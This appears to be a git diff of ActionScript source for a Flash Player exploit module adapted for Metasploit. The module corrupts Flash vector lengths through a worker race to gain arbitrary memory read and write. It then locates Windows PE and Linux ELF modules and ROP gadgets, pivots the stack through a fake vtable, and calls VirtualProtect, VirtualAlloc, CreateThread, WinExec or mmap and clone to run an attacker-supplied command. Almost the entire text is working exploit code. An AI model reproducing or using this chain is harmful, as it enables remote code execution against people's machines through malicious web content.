var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows8():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows8()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var advapi32:uint = pe.module("advapi32.dll", flash)
|
||||||
|
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_linux():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||||
|
var flash:Elf = new Elf(eba, vtable)
|
||||||
|
var feof:uint = flash.external_symbol('feof')
|
||||||
|
var libc:Elf = new Elf(eba, feof)
|
||||||
|
var popen:uint = libc.symbol("popen")
|
||||||
|
var mprotect:uint = libc.symbol("mprotect")
|
||||||
|
var mmap:uint = libc.symbol("mmap")
|
||||||
|
var clone:uint = libc.symbol("clone")
|
||||||
|
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||||
|
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||||
|
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
// 1) Recover original vtable
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
// 2) Recover original stack
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||||
|
|
||||||
|
// my_memcpy
|
||||||
|
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||||
|
eba.write(0, "\x57", false) // push edi
|
||||||
|
eba.write(0, "\x51", false) // push ecx
|
||||||
|
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||||
|
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||||
|
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||||
|
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||||
|
eba.write(0, "\x59", false) // pop ecx
|
||||||
|
eba.write(0, "\x5f", false) // pop edi
|
||||||
|
eba.write(0, "\x5e", false) // pop esi
|
||||||
|
eba.write(0, "\xc3", false) // ret
|
||||||
|
|
||||||
|
// Put the popen parameters in memory
|
||||||
|
eba.write(payload_address + 0x8, payload, true) // false
|
||||||
|
|
||||||
|
// Put the fake stack/vtable on memory
|
||||||
|
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||||
|
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||||
|
|
||||||
|
// Return to mprotect()
|
||||||
|
eba.write(stack_address + 0x18034, mprotect)
|
||||||
|
// Return to stackpivot (jmp over mprotect parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mprotect() arguments
|
||||||
|
eba.write(0, buffer) // addr
|
||||||
|
eba.write(0, 0x1000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x18068, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() code segment arguments
|
||||||
|
eba.write(0, 0x70000000) // 0x70000000
|
||||||
|
eba.write(0, 0x4000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, 0xffffffff) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x1809c, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() stack segment arguments
|
||||||
|
eba.write(0, 0x70008000) // NULL
|
||||||
|
eba.write(0, 0x10000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, -1) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to memcpy()
|
||||||
|
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||||
|
// Return to stackpivot (jmp over memcpy parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// memcpy() parameters
|
||||||
|
eba.write(0, 0x70000000)
|
||||||
|
eba.write(0, payload_address + 0x8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// Return to clone()
|
||||||
|
eba.write(stack_address + 0x18104, clone)
|
||||||
|
// Return to CoE (fix stack and object vtable)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
// clone() arguments
|
||||||
|
eba.write(0, 0x70000000) // code
|
||||||
|
eba.write(0, 0x7000bff0) // stack
|
||||||
|
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||||
|
eba.write(0, 0) // args
|
||||||
|
|
||||||
|
//call DWORD PTR [eax+0x24]
|
||||||
|
//EAX: 0x41414141 ('AAAA')
|
||||||
|
//EDI: 0xad857088 ("AAAA\377")
|
||||||
|
eba.write(main, stack_address + 0x18000)
|
||||||
|
exploit.hasOwnProperty('msf')
|
||||||
|
}
|
||||||
|
|
||||||
|
private function cleanup():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - cleanup()")
|
||||||
|
spray = null
|
||||||
|
stack = null
|
||||||
|
payload_space = null
|
||||||
|
eba = null
|
||||||
|
ev = null
|
||||||
|
exploit = null
|
||||||
|
System.pauseForGCIfCollectionImminent(0)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,32 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.external.ExternalInterface
|
||||||
|
|
||||||
|
public class Logger {
|
||||||
|
private static const DEBUG:uint = 0
|
||||||
|
|
||||||
|
public static function alert(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg;
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("alert", str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function log(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg;
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("console.log", str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,264 +0,0 @@
|
||||||
// Build how to:
|
|
||||||
// 1. Download the AIRSDK, and use its compiler.
|
|
||||||
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
|
||||||
// 3. Download the Flex SDK (4.6)
|
|
||||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
|
||||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
|
||||||
// 5. Build with: mxmlc -o msf.swf Msf.as
|
|
||||||
|
|
||||||
// Original code by @hdarwin89 modified to be used from msf
|
|
||||||
// https://git.hacklab.kr/snippets/13
|
|
||||||
// http://pastebin.com/Wj3NViUu
|
|
||||||
|
|
||||||
package
|
|
||||||
{
|
|
||||||
import flash.display.Sprite
|
|
||||||
import flash.events.Event
|
|
||||||
import flash.utils.ByteArray
|
|
||||||
import flash.system.Worker
|
|
||||||
import flash.system.WorkerDomain
|
|
||||||
import flash.system.MessageChannel
|
|
||||||
import flash.system.ApplicationDomain
|
|
||||||
import avm2.intrinsics.memory.casi32
|
|
||||||
import flash.display.LoaderInfo
|
|
||||||
import mx.utils.Base64Decoder
|
|
||||||
|
|
||||||
public class Msf extends Sprite
|
|
||||||
{
|
|
||||||
private var ov:Vector.<Object> = new Vector.<Object>(25600)
|
|
||||||
private var uv:Vector.<uint> = new Vector.<uint>
|
|
||||||
private var ba:ByteArray = new ByteArray()
|
|
||||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
|
||||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
|
||||||
private var b64:Base64Decoder = new Base64Decoder()
|
|
||||||
private var payload:String = ""
|
|
||||||
private var worker:Worker
|
|
||||||
private var mc:MessageChannel
|
|
||||||
|
|
||||||
public function Msf()
|
|
||||||
{
|
|
||||||
if (Worker.current.isPrimordial) mainThread()
|
|
||||||
else workerThread()
|
|
||||||
}
|
|
||||||
|
|
||||||
private function mainThread():void
|
|
||||||
{
|
|
||||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
|
||||||
var pattern:RegExp = / /g;
|
|
||||||
b64_payload = b64_payload.replace(pattern, "+")
|
|
||||||
b64.decode(b64_payload)
|
|
||||||
payload = b64.toByteArray().toString()
|
|
||||||
ba.length = 0x1000
|
|
||||||
ba.shareable = true
|
|
||||||
for (var i:uint = 0; i < ov.length; i++) {
|
|
||||||
ov[i] = new Vector.<Object>(1014)
|
|
||||||
ov[i][0] = ba
|
|
||||||
ov[i][1] = this
|
|
||||||
ov[i][2] = stack
|
|
||||||
ov[i][3] = payload_space
|
|
||||||
}
|
|
||||||
for (i = 0; i < ov.length; i += 2) delete(ov[i])
|
|
||||||
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
|
|
||||||
mc = worker.createMessageChannel(Worker.current)
|
|
||||||
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
|
|
||||||
worker.setSharedProperty("mc", mc)
|
|
||||||
worker.setSharedProperty("ba", ba)
|
|
||||||
ApplicationDomain.currentDomain.domainMemory = ba
|
|
||||||
worker.start()
|
|
||||||
}
|
|
||||||
|
|
||||||
private function workerThread():void
|
|
||||||
{
|
|
||||||
var ba:ByteArray = Worker.current.getSharedProperty("ba")
|
|
||||||
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
|
|
||||||
var tmp:ByteArray = new ByteArray()
|
|
||||||
tmp.length = 0x2000
|
|
||||||
|
|
||||||
for (var i:uint = 0; i < 20; i++) {
|
|
||||||
new Vector.<uint>(1022)
|
|
||||||
}
|
|
||||||
|
|
||||||
ba.writeBytes(tmp)
|
|
||||||
ov[0] = new Vector.<uint>(1022)
|
|
||||||
|
|
||||||
mc.send("")
|
|
||||||
while (mc.messageAvailable);
|
|
||||||
|
|
||||||
// Vector length corruption didn't work, aborting...
|
|
||||||
if (ov[0].length != 0xffffffff) {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Bad memory layout :( restoring length, and aborting...
|
|
||||||
if (ov[0][0x407] != 0x3f6) {
|
|
||||||
ov[0][0x3ffffffe] = 1022
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
|
|
||||||
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) //+ 0x100000
|
|
||||||
var main:uint = ov[0][0x409] - 1
|
|
||||||
var stack_object:uint = ov[0][0x40a] - 1
|
|
||||||
var payload_space_object:uint = ov[0][0x40b] - 1
|
|
||||||
var vtable:uint = vector_read(main)
|
|
||||||
var stack_address:uint = vector_read(stack_object + 0x18) as uint
|
|
||||||
var payload_address:uint = vector_read(payload_space_object + 0x18) as uint
|
|
||||||
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
|
|
||||||
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
|
|
||||||
mc.send(buffer.toString() + "/" + main.toString() + "/" + vtable.toString() + "/" + stack_address.toString() + "/" + payload_address.toString())
|
|
||||||
}
|
|
||||||
|
|
||||||
private function onMessage(e:Event):void
|
|
||||||
{
|
|
||||||
casi32(0, 1022, 0xFFFFFFFF)
|
|
||||||
if (ba.length != 0xffffffff) mc.receive()
|
|
||||||
else {
|
|
||||||
// Restoring vector length
|
|
||||||
var res:uint = casi32(0, 0xffffffff, 1022)
|
|
||||||
if (res != 0xffffffff) { // Something has been wrong... aborting
|
|
||||||
return
|
|
||||||
}
|
|
||||||
ba.endian = "littleEndian"
|
|
||||||
var data:Array = (mc.receive() as String).split("/")
|
|
||||||
var buffer:uint = parseInt(data[0]) as uint
|
|
||||||
var main:uint = parseInt(data[1]) as uint
|
|
||||||
var vtable:uint = parseInt(data[2]) as uint
|
|
||||||
var stack_address:uint = parseInt(data[3]) as uint
|
|
||||||
var payload_address:uint = parseInt(data[4]) as uint
|
|
||||||
var flash:uint = base(vtable)
|
|
||||||
var winmm:uint = module("winmm.dll", flash)
|
|
||||||
var kernel32:uint = module("kernel32.dll", winmm)
|
|
||||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
|
||||||
var winexec:uint = procedure("WinExec", kernel32)
|
|
||||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
|
||||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
|
||||||
|
|
||||||
// Continuation of execution
|
|
||||||
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
|
||||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
|
||||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
|
||||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
|
||||||
|
|
||||||
// Put the payload (command) in memory
|
|
||||||
byte_write(payload_address + 8, payload, true); // payload
|
|
||||||
|
|
||||||
// Put the fake vtabe / stack on memory
|
|
||||||
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
|
||||||
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
|
||||||
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
|
||||||
byte_write(0, virtualprotect)
|
|
||||||
|
|
||||||
// VirtualProtect
|
|
||||||
byte_write(0, winexec)
|
|
||||||
byte_write(0, buffer + 0x10)
|
|
||||||
byte_write(0, 0x1000)
|
|
||||||
byte_write(0, 0x40)
|
|
||||||
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
|
|
||||||
|
|
||||||
// WinExec
|
|
||||||
byte_write(0, buffer + 0x10)
|
|
||||||
byte_write(0, payload_address + 8)
|
|
||||||
byte_write(0)
|
|
||||||
|
|
||||||
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
|
|
||||||
|
|
||||||
toString() // call method in the fake vtable
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private function vector_write(addr:uint, value:uint = 0):void
|
|
||||||
{
|
|
||||||
var pos:uint = 0
|
|
||||||
|
|
||||||
if (addr > ov[0][0]) {
|
|
||||||
pos = ((addr - ov[0][0]) / 4) - 2
|
|
||||||
} else {
|
|
||||||
pos = ((0xffffffff - (ov[0][0] - addr)) / 4) - 1
|
|
||||||
}
|
|
||||||
|
|
||||||
ov[0][pos] = value
|
|
||||||
}
|
|
||||||
|
|
||||||
private function vector_read(addr:uint):uint
|
|
||||||
{
|
|
||||||
var pos:uint = 0
|
|
||||||
|
|
||||||
if (addr > ov[0][0]) {
|
|
||||||
pos = ((addr - ov[0][0]) / 4) - 2
|
|
||||||
} else {
|
|
||||||
pos = ((0xffffffff - (ov[0][0] - addr)) / 4) - 1
|
|
||||||
}
|
|
||||||
|
|
||||||
return ov[0][pos]
|
|
||||||
}
|
|
||||||
|
|
||||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
|
||||||
{
|
|
||||||
if (addr) ba.position = addr
|
|
||||||
if (value is String) {
|
|
||||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
|
||||||
if (zero) ba.writeByte(0)
|
|
||||||
} else ba.writeUnsignedInt(value)
|
|
||||||
}
|
|
||||||
|
|
||||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
|
||||||
{
|
|
||||||
ba.position = addr
|
|
||||||
switch(type) {
|
|
||||||
case "dword":
|
|
||||||
return ba.readUnsignedInt()
|
|
||||||
case "word":
|
|
||||||
return ba.readUnsignedShort()
|
|
||||||
case "byte":
|
|
||||||
return ba.readUnsignedByte()
|
|
||||||
}
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
|
|
||||||
private function base(addr:uint):uint
|
|
||||||
{
|
|
||||||
addr &= 0xffff0000
|
|
||||||
while (true) {
|
|
||||||
if (byte_read(addr) == 0x00905a4d) return addr
|
|
||||||
addr -= 0x10000
|
|
||||||
}
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
|
|
||||||
private function module(name:String, addr:uint):uint
|
|
||||||
{
|
|
||||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
|
|
||||||
while (true) {
|
|
||||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
|
||||||
if (!entry) throw new Error("FAIL!");
|
|
||||||
ba.position = addr + entry
|
|
||||||
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
|
|
||||||
}
|
|
||||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
|
|
||||||
}
|
|
||||||
|
|
||||||
private function procedure(name:String, addr:uint):uint
|
|
||||||
{
|
|
||||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
|
||||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
|
||||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
|
||||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
|
||||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
|
||||||
for (var i:uint = 0; ; i++) {
|
|
||||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
|
||||||
ba.position = addr + entry
|
|
||||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
|
||||||
}
|
|
||||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
|
||||||
}
|
|
||||||
|
|
||||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
|
||||||
{
|
|
||||||
var find:uint = 0
|
|
||||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
|
||||||
var value:uint = parseInt(gadget, 16)
|
|
||||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
|
||||||
return addr + i
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -0,0 +1,72 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class PE
|
||||||
|
{
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
|
||||||
|
public function PE(ba:ExploitByteArray)
|
||||||
|
{
|
||||||
|
eba = ba
|
||||||
|
}
|
||||||
|
|
||||||
|
public function base(addr:uint):uint
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (eba.read(addr) == 0x00905a4d) return addr
|
||||||
|
addr -= 0x10000
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function module(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||||
|
var mod_name:String
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||||
|
if (!entry) throw new Error("FAIL!");
|
||||||
|
mod_name = eba.read_string(addr + entry, name.length)
|
||||||
|
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||||
|
}
|
||||||
|
|
||||||
|
public function procedure(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||||
|
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||||
|
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||||
|
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||||
|
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||||
|
var proc_name:String
|
||||||
|
|
||||||
|
for (var i:uint = 0; ; i++) {
|
||||||
|
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||||
|
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||||
|
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||||
|
{
|
||||||
|
var find:uint = 0
|
||||||
|
var contents:uint = 0
|
||||||
|
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < limit - 4; i++) {
|
||||||
|
contents = eba.read(addr + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,235 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class Elf
|
||||||
|
{
|
||||||
|
private const PT_DYNAMIC:uint = 2
|
||||||
|
private const PT_LOAD:uint = 1
|
||||||
|
private const PT_READ_EXEC:uint = 5
|
||||||
|
private const DT_SYMTAB:uint = 6
|
||||||
|
private const DT_STRTAB:uint = 5
|
||||||
|
private const DT_PLTGOT:uint = 3
|
||||||
|
|
||||||
|
private var e_ba:ExploitByteArray
|
||||||
|
// elf base address
|
||||||
|
public var base:uint = 0
|
||||||
|
// program header address
|
||||||
|
public var ph:uint = 0
|
||||||
|
// number of program headers
|
||||||
|
public var ph_size:uint = 0
|
||||||
|
// program header entry size
|
||||||
|
public var ph_esize:uint = 0
|
||||||
|
// DYNAMIC segment address
|
||||||
|
public var seg_dynamic:uint = 0
|
||||||
|
// DYNAMIC segment size
|
||||||
|
public var seg_dynamic_size:uint = 0
|
||||||
|
// CODE segment address
|
||||||
|
public var seg_exec:uint = 0
|
||||||
|
// CODE segment size
|
||||||
|
public var seg_exec_size:uint = 0
|
||||||
|
// .dynsyn section address
|
||||||
|
public var sec_dynsym:uint = 0
|
||||||
|
// .synstr section address
|
||||||
|
public var sec_dynstr:uint = 0
|
||||||
|
// .got.plt section address
|
||||||
|
